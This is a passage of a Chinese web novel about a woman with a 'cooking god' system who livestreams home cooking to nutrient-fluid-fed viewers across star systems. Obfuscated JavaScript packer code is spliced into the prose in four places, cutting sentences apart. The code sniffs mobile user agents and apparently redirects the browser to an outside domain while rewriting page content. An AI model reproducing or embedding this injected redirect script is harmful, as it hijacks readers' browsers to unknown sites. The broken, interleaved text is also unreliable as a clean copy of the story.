“嗯，你不是什么厨神系统吗？”宋秋光迟疑了一下，“没见过蛋炒饭？” ［我没吃过。］ 明明是一样冰冷、没有感情的声音，她却从里面听出了一丝悲伤。 也是，毕竟系统是统，不是人，又没长嘴，能吃到什么蛋炒饭，宋秋光不由得有点欣慰。 似乎是看出了她的幸灾乐祸，系统又接管了手表，好像电不要钱一样，冷酷地电了她两下。 ［叮叮叮——厨神系统发布任务啦，任务一：请让五十人品尝到您亲手制作的美食，目前进度0/50，时间限制为十个自然日，期待您的表现。］ 宋秋光在刷碗，恨不得把系统也给刷了。 在把锅碗瓢盆都细细洗过之后，她终于发现了类似洗碗机的东西，真是太好了呢。 次日清晨，宋秋光见到了汪玉，她是个标准的东方美人，长发如瀑，像是水墨画里会出现的人物。 而克里斯汀拒绝了她，她本来想借助克里斯汀完成厨神系统的第一个任务，毕竟这家餐馆就坐落在第七星系渡口不远处，人流量不算小。 克里斯汀虽然温和，但也很坚定，不打算更改她的决定，“亲爱的，潘已经在这里做了三十九年，他的厨房不允许任何人进入，我尊重他，希望你也是。” 大概克里斯汀觉得她是得寸进尺，还没怎么呢，就想抢大厨的位置。宋秋光有点惆怅，她只不过是想完成破系统给的任务，一时口快，早知道就多待几天，再试着委婉地提出来，说不定克里斯汀就答应了。 现在是不能了。 汪玉在她旁边修理坏掉的咖啡机，她问，“你并不是想抢潘的工作吧？” “我只是想做饭给别人吃，”宋秋光补充道，“大概几十个人。” 汪玉没有停下手里的动作，就在宋秋光以为她只是随口问了一下时，她修好了咖啡机，于是脱下手套。 “那你为什么不试试‘蜘蛛’呢？” 收获了宋秋光的一脸茫然，汪玉笑了笑，“你真的是从第七星系来的吗？” 经过汪玉非常有耐心的一通解释之后，宋秋光明白了“蜘蛛”是个什么东西，它甚至不是一个正式的名称，更不是地球上八只眼睛八条腿的动物，其作用更类似于一个直播平台。 “但观众吃不到吧？”宋秋光很苦恼，人数的问题是解决了，可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287225|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 观众吃不到也没用啊。 汪玉疑惑地看着她，“只要开一个品尝模式不就好了吗？” 哦哦，这是未来，未来有什么不可能，所以发展出一个可以尝到味道的手机也没什么大问题。 宋秋光环顾整间餐馆，太早了，还没有什么人光顾。 她准备到晚上尝试一下汪玉说的这个“蜘蛛”。 克里斯汀今天一直没怎么理她，宋秋光已经习惯了，只是安分地做好自己的工作，以示自己没有觊觎潘的位置。 很快就到了晚上，宋秋光点开手表上的屏幕，那个系统总算做了件好事，让她在第十二星系也可以继续使用这个手表。 索菲亚注册过“蜘蛛”，她没有拿来用，而是重新注册了一个账号。 想了想，她在名称那一栏填上了一行字。 宋秋光准备用二楼的厨房做舞台，还没想好要不要露脸，她不太希望自己再顶着索菲亚的脸入镜。 ［我已经解除啦。］ “什么？” ［我没说过吗？你从第七星系出来以后，就一直以真面目示人了呀。］ “……”宋秋光懒得理这个活宝系统。 “蜘蛛”的频道达到了惊人的九千万个，她随手点开一个频道，进去看了十几分钟，模式其实和她熟悉的直播没什么区别。 宋秋光放下心来，开始着手搭建自己的频道。 她今天想做的是蒜香排骨，未来的排骨比她记忆里的要大上不少，非常适合她这个小穷鬼。 第三星系，北辰。 安晚上最大的爱好就是刷“蜘蛛”，她尤其青睐那些新人频道，没什么人，很安静。她喝下一支营养液，躺在沙发上，开始漫无目的地刷新频道。 安无意划到一个频道，一进去，她就成为了唯一的观众。她虽然喜欢安静，也受不了只有她一个人，她正准备划走，听见主播念了她的名字。 “欢迎‘今天也想炸老板’进入我的直播间。” 于是安留了下来，她好像闻到什么奇怪的味道，于是评论了一句，“你喷了什么奇怪味道的香水吗？” “我在做饭。”宋秋光把手表贴近了锅沿，排骨在锅里被煎出漂亮的金黄色，她把排骨盛了出来，下入准备好的小米辣、青椒、洋葱和蒜末，她没找到孜然，就用了差不多的调料代替。 空气里充斥着来自蒜末和辣椒的香味，安呛了一下，又问，“这是什么东西？味道真怪。” 她停住了，宋秋光把排骨轻柔地放在了白色的盘子里，她明明刚喝下一管营养液，却觉得自己还想吃点什么。 趁着无人注意，安点开了很久都没用过的品尝模式。 入口的感觉非常陌生，她的口腔已经许多年没有接触肉类，几乎快要忘记如何咀嚼。她吃了两口，发现它过于软烂入味，骨头自己掉了下来。 安给她刷了价值八十个星币的礼物。 宋秋光看见了一颗占据半个屏幕的浅绿色五角星，“谢谢‘今天也想炸老板’送出的礼物。” 安没有再评论，只是一直在她的频道里看着，偶尔发几条疑问，宋秋光回答了，她就随手刷几个星币的礼物。 “我要下播了，再见啦。” 这么早？安想，一看时间，已是凌晨两点，这个频道没有其他的观众，她几乎是一直拉着主播回答她的问题。 安又给她刷了二十个星币。 5. 饺子 段恙从梦中醒来，他今天没什么事，想起自己好久没有在粉丝群里冒泡了，点开粉丝群，只见一个名字叫做“今天也想炸老板”的粉丝发了很长一段信息。 他对这个名字有点印象，于是看了一下她发的内容。 “震惊！我这辈子喝过的营养液都不如它！” “我没有标题党，我不是一直以来都很喜欢刷‘蜘蛛’吗？昨天随便进了一个直播间，主播应该是下层星系的，她在做饭，就是那种，那种肉，你们懂吗？” “炸老板然后呢？”有人在底下问。 “虽然品尝模式已经开了很多年，但是有那么多种味道的营养液，我本来已经八百年没用过了。” “但是昨天，她做的菜，好像叫什么排骨的，实在是太诱人了，我就开了品尝模式，结果超级好吃，我完全喝不下营养液了，做梦都想着它呜呜呜。” “结果那个主播今天还没有开直播，我心好累。” 底下充满了快活的气息，炸老板大概是出幻觉了，哪里有什么食物能比得上营养液呢？ 段恙闲着也是闲着，于是去私聊了炸老板，“可以把那个直播间分享给我吗？” 炸老板很快回复了，“可以可以，你要去看吗？” “没想到只有你相信我，受伤了，段老师你什么时候出新书，我要买八十本。” 忽略掉炸老板隐藏的催更意图，段恙打开那个直播间，主播上一次直播是从昨天晚上，一直到今天的凌晨两点。 大概今天也是晚上开播，段恙正准备退出去，就看见主播的头像小小跳动了一下。 “我在星际当厨神？”段恙念了一遍主播的名字，眉头微微皱起，这名字也取得太烂了。 “欢迎‘今天也要炸老板’进入直播间，炸老板你又来啦。” “欢迎‘我恨草莓味’进入直播间。” 屏幕上出现了一个女孩，她向唯二的观众挥了挥手，“今天包饺子可以吗？” “可以可以可以，”安说，“不过饺子是什么？” “想起来了，我好像在哪里见到过这个口味的营养液！” 段恙和安不同，他确实喝过饺子口味的营养液，那种黏糊糊的口感几乎顺着记忆在他的胃里重现，他把直播间的屏幕划得远了些，打算只拿来听个响。 “我已经提前把面揉好了，”主播说，“现在来调馅。” 也许是因为炸老板的提醒，段恙突然良心发现，开始构思新书的内容。 但是一开始做正事，其他所有事都变得分外有趣，说起来他好像和司空很久没见了，又说起来不如先锻炼一会儿吧，写书什么的改日再说。 她有一双很漂亮的手，段恙想，他停下脚步。 “希望有一天我能找到香菇。”宋秋光说。 她手舞足蹈比划了好几遍，汪玉也没从记忆里找出和香菇类似的食材，未来人真可恶，香菇这么好吃，怎么不种，为什么不种？ 现在好了吧，她想吃也吃不到了。 汪玉给她推荐了另一个食材，叫做满草，有普通人两个手掌那么大，形状如圆月，中间凹下去，透着一点青色，不像是没有毒的样子，但是汪玉说很好吃，她很喜欢。 宋秋光觉得汪玉不会骗她，当然最重要的是，这个不要钱，还长得遍地都是。 她把一堆满草细细切碎，确认它没有什么怪味，放进剁得相当碎的肉馅里，朝着一个方向用力地搅拌均匀。 “我什么时候可以吃上饭呀？”安问，虽然看着宋秋光准备食材也挺有趣的，但是她好饿，已经喝了两管营养液，和没喝一样。 “应该还要一段时间？”宋秋光想了想，“我先包几个给你尝尝好了。” “好耶！”安欢呼雀跃。 另外一个人一直没说话，宋秋光出于礼貌还是问了一句，“‘我恨草莓味’，你要吃吗？” 段恙这才意识到他已经看了很久主播做饭，随后心虚地在底下回了一句，“我也要。” 宋秋光点点头，示意她知道了。 她揪下一小块面团，把剩下的面团盖好，开始揉搓，面团很快变成了细长的一条，宋秋光用刀把面条切成小块，然后一个个按扁，撒上一些面粉防止它们粘起来。 其实她一直不怎么会擀饺皮，记忆里擀饺皮都是妈妈负责的，她擀的饺子皮没有一张是规则的，不是这里凸出来一块，就是那里厚得过了分。 饺子皮在妈妈手里不一样，用擀面杖擀了几下，小小的面团就变成一张圆圆的面皮，厚薄也适宜，包起饺子来从不会漏出馅。 宋秋光低头一看，她擀出的饺子皮还是很有自己的想法，每一张都不圆。 好在炸老板和草莓味都没有对她擀出的饺子皮有什么异议，她连忙毁灭证据，拿起一张面皮，把馅放在正中间，轻轻捏了一下，右边先捏好了两个褶子，左边也捏了两个。 宋秋光很满意，虽说她擀得不怎么样，包的饺子却很好看。 她把水煮开，气泡咕嘟咕嘟地往外冒，饺子刚下了锅，安就以十秒钟一次的频率在底下评论。 “主播主播你是哪个星系的呀？” “为什么做得这么让人期待！” “我好饿，我要吃二十个！不，三十个！” 段恙看着宋秋光拿出了两个碗，又开始包她自己的那份饺子，一边包一边还要见缝插针地回炸老板的评论。 他刷了一只蜘蛛，然后看到宋秋光本来凑近了屏幕，被蜘蛛吓得猛地往后一退，这一退退出了四五米远。 “……”段恙心想这蜘蛛谁做的，特效就特效，做得这么逼真是几个意思。 好在宋秋光看到了蜘蛛的价钱，她立马换了一副谄媚的表情，“感谢‘我恨草莓味’送出的蜘蛛，大恩不言谢，饺子管够。” 饺子浮了起来，像胖嘟嘟的小鱼，宋秋光给安分了一半，给了段恙一半。 “不枉我等了这么久，太好吃啦，主播我要追随你一辈子。”安还发了一张哭哭的笑脸。 段恙很久没有开过品尝模式了，其实说是很久，应该也就二十多年？ 他看准了一个饺子，毫不犹豫地一口吞了下去，结果被狠狠地烫到了，没想到这么个小东西脾气还挺大。 他无情地等待饺子变凉，而安已经吃掉了三个饺子，并在吃的过程中不断输出彩虹屁。 饺子皮很薄，里面包着满满的馅，一口下去鲜香滑嫩，他吃不出这具体是什么东西，只觉得香气四溢，两种不同的食材完美地融合在一起，两相交织，更添一层风味。 段恙一连吃了七个，很快赶上了安的速度。 吃完所有属于自己的饺子，他在粉丝群里给炸老板评论了一句，“同感。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287226|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >安看见自己另一块屏幕散发出淡淡的红光，百忙之中瞄了一眼，“‘我恨草莓味’就是段老师？” “怪不得有钱送蜘蛛。”安苦兮兮地笑了一下，一个蜘蛛就价值一千星币，她可舍不得。 “对了不好意思，我有点事，明天就不播了。”宋秋光说。 安听见自己心碎的声音。 ［你明天为什么不播？都过去两天了哎，你只有两个观众，还不好好把握机会。］ 宋秋光面对着炸老板和草莓味，不好说什么，背地里鄙视了没用的破系统八百次，不就是因为只有两个观众，她才得多想想怎么让更多人看自己的直播啊。 她又不能和这两个人说，“哎就是问问，可以帮我推广一下直播间吗？有个系统让我做任务，十个自然日内，需要五十个人吃上我做的饭。” “炸老板就是每天都来也只算是一个人喔。” 她说不出口。 而且她也只会做一些家常菜，还是毕业之后为了省钱才学会了做饭，尽管阿冬说她做的饭超级无敌霹雳好吃，但她觉得那应该只是客套话。 想要在直播界搞出特色，最要紧的是学会更多的菜色，系统给她展示了积分商城里琳琅满目的菜谱，有些菜她都没有听说过，但它抠得很坚定，她只能干看着。 手表被系统接管，它好像特别容易满足，活在薄薄的光带里就足够了。 但问题是，她并不能像之前一样使用手表，系统说它只能使用手表内置的基础功能。 废物系统，宋秋光在心里骂了一句。 她在‘蜘蛛’上也搜索了很多关于美食的直播，然而上层星系和中层星系完全依赖于营养液生存，下层星系的此类直播大概是不赚什么钱，所以频道少之又少。 “你还醒着吗？”宋秋光刚下播，就给汪玉发了消息。 “嗯，还没睡，你是又有什么新奇的想法了吗？” 她有点怀疑自己在汪玉心里是个什么形象，“我发现除了‘蜘蛛’，好像没有什么平台可以了解到其他星系的信息，我准备去别的星系看一下。” “你知不知道我该怎么过去啊？”她问。 宋秋光本来没打算这么做，但她实在没有办法，第十二星系与世隔绝，和世外桃源一样，连类似图书馆的地方都没有。而且感谢炸老板和草莓味的打赏，她应该也可以负担得起这次出行，保不齐还可以乘坐来时的巨轮，那个虽然花费的时间长了一点，但是不要钱呀。 汪玉惊讶地往前直起了身，“你都到第十二星系来了，不知道我们是出不去的吗？” 宋秋光：“？” 不是，这到底谁告诉过她了，难不成第十二星系是什么监狱吗，进来了就别想出去了？ 她原来还是自投罗网了是吗？ “其实倒也不是完全出不去，只是很难，至少我认识的人里，是没有人出去过的。” “原来是这样，”宋秋光死了心，“其实我是想学做更多的菜，但是到处都找不到相关信息。” 她能够接触到的和做饭相关的唯有克里斯汀的厨师——潘，但他好像一个缚地灵，只出现在厨房里，至今她还没有见过他的真容，教她做饭那更是想都别想。 汪玉没有再回复，想来她也没有了头绪。 事已至此，先吃饭吧，宋秋光一口气把包好的饺子全下到了锅里。 6. 炸猪排 宋秋光沉默地看着锅里沉沉浮浮的饺子，“系统你要是能吃就好了。” ［还学会伤口上撒盐了是吧？］ 她站起来，汪玉的家离克里斯汀很有段距离，已经下了锅的饺子自然和生饺子不同，不能冻起来保存。 宋秋光想到了克里斯汀，她白天一直不怎么理自己，现在正是解决误会的最佳时机！ 饺子刚煮好，她就盛到盘子里，带上一碟子醋出了门。 克里斯汀也同样住在二楼，她孤身一人，没有子女和伴侣，餐馆就是她经营了一生的事业。 “克里斯汀，”宋秋光敲开她的门，“你吃过饭了吗？” “我饺子包得有点多了，想和你分享一些，要是你不介意的话。” 克里斯汀微微瞪大了双眼，她侧过身，把宋秋光让进房间，“当然，进来吧。” 克里斯汀的房间非常整洁，每一样东西都像出生时就在那里似的，她还有一张很棒的餐桌，大而圆，宋秋光觉得它的质感类似于某种玉石。 “我的天啊，真是太美味了。”克里斯汀说，她的目光又变得和之前同样温和。“亲爱的，我这下相信你不是想取代潘了。” “因为你做的比他好吃多了。” 说着克里斯汀还夸张地往下指了指，楼下正巧是厨房，她也跟着笑起来。 “我房间里还有。”看到克里斯汀吃得飞快，宋秋光忍不住说。 “不了，”克里斯汀摇了摇头，“我晚上吃这么多就足够了。” 好吧，她一想到锅里那么些饺子就犯愁，真是屋漏偏逢连夜雨。 从克里斯汀房间里出来，她带走了盘子和醋碟，克里斯汀叫住她，递给了她一个绿色的果子。 “感谢你让我拥有这可口的一餐。” 宋秋光回到房间，把用到的碗筷全扔进了和洗碗机相似的清洁机器里。 她又吃了一些，终于把煮好的饺子全部消灭了，这之后有段时间，直播间里都不会出现饺子了。 第二天，汪玉比往常来得更早了一些，她显得有点兴奋，“我问了我妈，她说第十二星系确实有你说的类似图书馆的地方，但是它离我们这里很远。” “而且不对外人开放。”汪玉又补充道。 宋秋光心碎一地。 “对了，晚上我请你吃饭吧，就当谢谢你一直这么用心地回答我的问题。” 汪玉还要拒绝，“其实我没帮上你什么忙。” 宋秋光一把子拒绝了她的拒绝，“来嘛来嘛。” “好。” 下班之后，汪玉又回了一趟家，带来了好几罐油。 宋秋光开心地收下了，为了防止再出现一些别人觉得是常识而她不清楚的事情，她特地把“蜘蛛”的用户协议从头到尾看了一遍，不看不知道，原来她现在直播收到的打赏和礼物是以七个自然日为一周期来结算的。 还好她只是有去别的星系的想法，汪玉还打消了这一想法，不然她就妥妥地完蛋了。 所以现在她又穷得揭不开锅了，要不是有汪玉的支援，今晚她都没打算做炸猪排。 她想这一口好久了，试问谁能对炸猪排说不呢？ 宋秋光的房间只有两把并不舒服的椅子，委实不适合久坐，汪玉也不嫌弃，结果没过多久就站了起来，来到她身边。 “你在直播吗？”汪玉问。 她正忙着用刀背敲打猪排，需得好一番痛下杀手，它的肉质才能变得柔软松弛。 “是的，你不想出镜的话我就播到炸完猪排，可以吗？” 汪玉失笑，“这有什么的，你一直播着吧，对了，你要是没什么观众的话，我也来看吧。” 说完，汪玉打开了自己的“蜘蛛”平台，记住了宋秋光的直播间名字，点进去之后发现加上她也只有三位观众。 汪玉抿了抿嘴，趁着宋秋光没注意，把直播间分享给了她爸妈，叮嘱他们有时间的话来看两眼。 宋秋光把每块猪排都抹上盐和胡椒粉，她没有找到料酒，于是用了星际特有的带着淡淡花香味的酒代替，把猪排放在一旁。 在等待入味的过程中，她拿出四个鸡蛋，舀出适量的淀粉和面包糠。 她瞄了一眼屏幕，炸老板还是一会儿一个问题，偶尔给她打赏星币，宋秋光先是回答了所有问题，然后感谢了炸老板的热情支持。 草莓味却不怎么说话，很高冷的样子，她一看向屏幕，就被各种礼物带来的特效砸花了眼。 今天她给每人准备了两个猪排，会不会不太够啊，宋秋光心想。 汪玉饶有兴趣地看着宋秋光走神，她看起来有点呆，随时随地都能陷入自己的世界里，不太像人，像某种靠自己一定活不下去的小动物。 得到了汪玉的首肯，宋秋光向炸老板和草莓味介绍了她，“这是我的同事，今晚和我一起直播，不好意思啦。” “嘿嘿没事，我本来听你昨天说不会播，今天超难过的，”安回复得飞快，“结果一回家就看到你开播了，我要幸福得变成鱼了。” 段恙看向屏幕里的另一张脸，平心而论，她漂亮得像一串昂贵的珠宝，但说话就说话，离主播那么近做什么，他眉头一皱，然后评论了一句，“是遇到了什么事吗？” 宋秋光刚回了安两句，就看见草莓味的评论，她犹豫了下，干脆还是直说吧。 她把自己想要学习更多菜色的想法一股脑儿地倒了出来。 “这事情其实很好解决，”安隔了许久才回复，“但你应该是下层星系的居民，这就有点难办了。” 上层星系和中层星系的唯一食物来源就是营养液，只有下层星系无法承担营养液的高昂价格，在今天依旧维持着进食的古老传统。 上、中层星系皆有主播说的图书馆，那是同样古老的传统，在所有数据都依靠星网承载的当下，图书馆里的每一本书籍都是纸质的。 安在小的时候去过几次图书馆，给她留下了很深的印象，从看不见顶点的最高处一直到她能伸手碰到的地方，全是一本本陌生的众多纸张的集合体，好像在那里沉睡过无数个岁月。 据她所知，图书馆这样的地方，第一至三星系每一个星系都有，中层星系有几座，下层星系则一座也没有。 宋秋光表示理解，起身给猪排裹上一层薄薄的淀粉，在蛋液里过了一下，就统一送到面包糠里集中翻滚。 她往油锅里丢了一点面包糠，面包糠马上浮了起来，这就说明油温差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287227|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以了。她把火调小，猪排终于入了锅，在热油里被炸得吱哇乱叫，慢慢呈现出一种诱人的金黄色。 宋秋光终于把猪排从油锅里解救了出来，但为时已晚，猪排已经披上了一层酥脆的外衣，带来满室香味。 安收起了惆怅的心情，一口咬了下去，肉炸得很透，肥而不腻，入口只觉得外脆里嫩，汁水丰盈得不得了。 宋秋光和酱料面面相觑，也不知道炸老板这个速度是跟谁学的，她根本来不及递上酱料。 给所有人都分好了炸猪排，她看向自己的盘子，宋秋光没有把猪排敲得很扁，厚实的一大块，吃得人心头满足。 她一偏头，瞥见汪玉的吃饭姿态相当优美，放在2031年，她大概以为自己看见了哪位教养良好的大小姐，但是汪玉未免吃得也太快了吧，她只吃了一半，汪玉就已经结束战斗了。 “很好吃，”汪玉姿态优雅，慢条斯理地说，“我以后可以常来和你一起吃饭吗？” 宋秋光还以为是什么大事，笑着应了。 “我最近正好要到下层星系去，可以把你要的东西带过去。”段恙评论道。 宋秋光果然把注意力转移到了直播间上，段恙吃下最后一口猪排，炸得刚刚好，肉质鲜美多汁，他不想承认自己已被这道美味俘获。 “不会太麻烦你吗？”她问。 “我正好要去，不麻烦。” 看了一眼飘红的日程，段恙给司空住发去信息，想到他指定还在星海里漂着，“你现在在哪里，我想去下层星系，可不可以搭你的星舰过去？” 司空住回复得很快，“段大少爷怎么有空来找我玩，我在第九星系孤苦伶仃呆了半年多，也没见有人想起我。” “别说酸话，能不能？”段恙看得牙酸。 “哎哟喂，大少爷发话，小的怎么敢不从，不过我去第十二星系有点事，可能来不及去第二星系接你。” “我直接去一号渡口，不来你就等死吧。”段恙懒得理他，也不知道为什么，司空住打小就一副人来疯的样子，明明司空家规森严，在第二星系都是出了名的。 没过多久，段恙收到了主播发来的好友申请，她的头像是一大片满草。 他轻轻笑了一下。 汪玉看到时间已来到十点，起身要走，宋秋光和她推拉了两个回合，她才离开了，走的时候还带着一瓶没推辞成功的宋秋光牌葱油。 “那是什么？”安眼尖得很，“呜呜呜主播我也想要。” “下次一定。”宋秋光说。 今晚她下播得早，洗过澡就把自己塞进了温暖的被子里，她白天还要工作，餐馆不大，活计却并不轻松，如今用不了三十分钟，她就能自然而然地睡着。 不过在要下播之前，直播间忽然进来两位观众，莫名其妙地给她刷了几个星币，一句话也没说，刷完就走了。 她完全摸不着头脑。 ［哇，今天已经是第三个自然日了，恭喜宿主突破五人大关。］ “闭嘴。”破系统在阴阳怪气上是有一定天赋的。 宋秋光躺在床上，被窝舒服得不像话，她滚到了床的左半边，又翻了一个身，仰面躺着。 “明天吃什么呢？”她想。 7. 八宝粥 克里斯汀今日店休，宋秋光和汪玉约好一起去逛菜市场，平日里克里斯汀是有固定的供货商的，汪玉负责联系。 但供货商给克里斯汀供应蔬菜和肉类，已经是看在老板的份上，谁叫克里斯汀年轻的时候没少照顾周边的人呢。 平日里宋秋光可以搭这趟便车，自己做饭和吃饭不用在意那么多，但考虑到美食直播，她还是打算自己去菜市场实地考察一下。 汪玉今天戴着一只十字星形状的耳环，在日光下闪烁着点点碎光。 她不能动索菲亚的账户余额，“蜘蛛”的结算还有几天才能到账，她只好向克里斯汀预支了这些天来的薪水，不晓得她什么时候才能不为钱发愁。 在宋秋光震惊的目光下，汪玉摘下耳环，倏忽之间，它像被送进油锅的虾片一样膨胀起来，转眼变成一架飞行器，流线型的线条，充满着她对未来科技的最初幻想。 “没见过吗？”汪玉问，不过她还没有回答，汪玉就拉着飞行器到了她身边。 先是腰间，再是肩膀和双腿，汪玉按下去，宋秋光暂时失去了和地面的亲密接触，如同气球一般飘了起来。 她往下看，汪玉从手腕上拿出制式不同的飞行器，穿戴整齐之后，成为另一个气球。 宋秋光还在试图控制飞行器，在空中飘来飘去，汪玉一把抓住了她，带着她往北边飞。 一直到落地，她还是很兴奋，说来她以前看小说，特别喜欢仙侠文里御剑飞行的情节，颇有一番高处不胜寒之感，如今虽然不是御剑，好歹也是飞起来了。 飞行器回到汪玉的耳朵和手上，宋秋光看向菜市场，克里斯汀的店休日不是第十二星系官方规定的休息日，但这里依旧人潮涌动。 第十二星系，原来有这么多人吗？ 她略微咋舌，本来以为克里斯汀已经是人流量很大的餐馆了。 “你要先买什么？” 宋秋光回过神，“米！” 克里斯汀的菜色繁多，只是中餐的占比不太高，她不爱吃员工餐，很大程度上就是因为潘不怎么做米饭。 汪玉带着她穿过人流，来到一间铺子前，门脸很小，老板应该是有强迫症，把卖的东西按照色系分好类，排列得整整齐齐。 她大受震撼，除了自己日常吃的米之外，还买了黑米、糯米、莲子、红豆和花生等等。 汪玉凑近了看她买的是什么，“你是要做粥吗？” 不得不说，老板的铺货方式，让她想起了某知名节日食物，时常以铁罐材质出现在逢年过节送礼的礼品当中。 没错——就是八宝粥。 ［友情提醒，买下你右手边第二家的黑色豆子有惊喜哦。］ 系统突然出声，好在经过了几天的相处，宋秋光已经习惯了它一惊一乍的风格，没有显示出什么异样。 她走近系统说的那家店，和她买八宝粥材料的店差不多，东西没什么区别，只是多了一筐黑色的豆子。她问了价格，老板好像没想到会有人来问，报了一个相当低的价格，就让她全部买走了。 宋秋光看向臂弯里出现的一筐黑色豆子，从牙缝里挤出一句，“系统你要是骗我，我就把你打成一维的。” 汪玉溜去买水果，手里是各种各样的果子，在宋秋光看来都长得很特别，特别丑。 还是不要以貌取果了，万一很好吃呢？ 汪玉看着她环抱着一筐黑色豆子，和她一起走到了市场的一角，指着墙壁上鸟形的标志，“可以把买的东西通过这里送到克里斯汀去，一次要一个星币。” 她现在已经不问自己知不知道了，宋秋光惆怅地想。 然后把所有东西都放了进去，又给了一块星币，鸟形的标志像是活了过来，扑扇了一下翅膀。 她买的谷物和杂豆都消失不见了，还得是未来，在这上面就是有一手。 宋秋光落得一身轻松，接下来陪着汪玉逛了半圈菜市场，又买了一些新鲜的鱼肉和鸡肉。临了汪玉先把她买的东西送回了家，她家离菜市场并不远，又返回来把宋秋光带回克里斯汀。 餐馆里空无一人，宋秋光走进来，墙壁上出现了鸟形标志，她用手一按，大袋小袋的豆子和米就一下子堆满了桌面。 “早知道设定在我房间了。”她有些头疼，随后认命地搬起来。 餐馆的门被谁打开了，带进来一阵春天和煦的暖风。 宋秋光下意识地抬头，看见了一个身形介于少年和青年之间的男子，她刚看清这人长什么样，就觉得自己的视网膜突地遭受了灼烧攻击。 难不成星际把长得不好看的人都杀了？ 宋秋光真心实意地发问，在2031年的地球上，她不算是人群中最出挑的那一波，在星际，她严肃怀疑自己的长相要被开除人籍。 “你好，我是段恙，”段恙道，“你也可以叫我‘我恨草莓味’。” 宋秋光终于从此人的美貌中缓过神来，“原来是草莓味啊，幸会幸会，我是宋秋光。” 等等，她不是昨晚才给了草莓味地址吗？这顺便也太顺便了吧。 “你准备做饭了吗？”段恙问，他靠近了一些，宋秋光先是点头，然后借着一个后撤步拉开了距离。 看到段恙眼里的疑问，她只好硬着头皮编瞎话，“今天的空气好像不大好呢，我有点呼吸不过来了。” 潘今天不在，但他的厨房依旧不允许人进入，宋秋光只好把段恙安置在二楼，虽然她不是很情愿和这种等级的帅哥接触，但毕竟他跑这么大老远来了。 “需要我帮你搬吗？”段恙神出鬼没地在她背后问。 宋秋光不愧是二十四年母胎solo经验持有者，很快平静了下来，她看了一眼桌上剩余的东西，那一筐黑色的豆子静静地躺在边角，分外显眼。 “这一筐豆子麻烦你了，剩下的我来就好。” 段恙拎起那筐豆，她轻声呼唤着破系统，“出来吧，系统兽，这个豆子到底有什么用？” ［经过一个小时的高温熬煮，可以无痛促进人体分泌内啡肽，让人拥有持久的快感。］ 她沉默了一会儿，小心翼翼地问，“这不会是什么让人上瘾的东西吧？” 如果系统有脸的话，那么它一定很无语。 ［这东西合理合法合规，你把我想成什么系统了？我感到了侮辱，我要抗议，我要扣你积分。］ 宋秋光把心放回了肚子里，随即冷酷道，“我根本没有积分，你扣吧。” ［……］ 系统靠着赖皮活过了漫长的岁月，它忽然觉得自己遇到了旗鼓相当的对手。 ［你要是不愿意用，也可以用豆子和我换积分，我给你二十个积分。］ 她敷衍地应了一声。 等到所有东西都搬到了二楼，段恙把东西放下，没有进到宋秋光的房间。尽管在这几天的直播里，他已经连她厨房里的瓶瓶罐罐都很熟悉。 “请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287228|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进，我不介意。”宋秋光说。 段恙这才跟着宋秋光进到了她的房间，比他想象中的还要小很多，他隐约觉得自己的头发就快碰到天花板。 “八宝粥可以吗？” 段恙没听过，但他对宋秋光的厨艺有着莫名的信任。 宋秋光本来想直播，但考虑到她晚上和炸老板约好了直播时间，为了不一天播两场，她没有在“蜘蛛”上开播。 八宝粥不需要什么手艺，做法也简单，和平常煮粥没有什么不同。 她把要用到的食材都准备好，除开六颗饱满的红枣，往碗里倒入三勺黑米和莲子，六勺糯米，一勺红豆、花生、芸豆和薏米。 碗里再倒入清水浸泡，约莫两个小时就可以下锅煮了。 宋秋光接着把买来的食材分类放好，偶然看到段恙在凳子上几乎要坐不住，好像她再晚一秒，他就要和这把椅子拼个你死我活。 但她的房间只有两把可以坐的椅子，坏了她没钱再买新的。 于是她决定把段恙请到楼下，“楼下空气更好。” 段恙一脸“你在说什么”的表情，但也许是椅子确实太难坐，他飞快地起了身。 “我想着你应该需要这个。”段恙取出一块只有指甲盖大小的透明晶体，递给她。 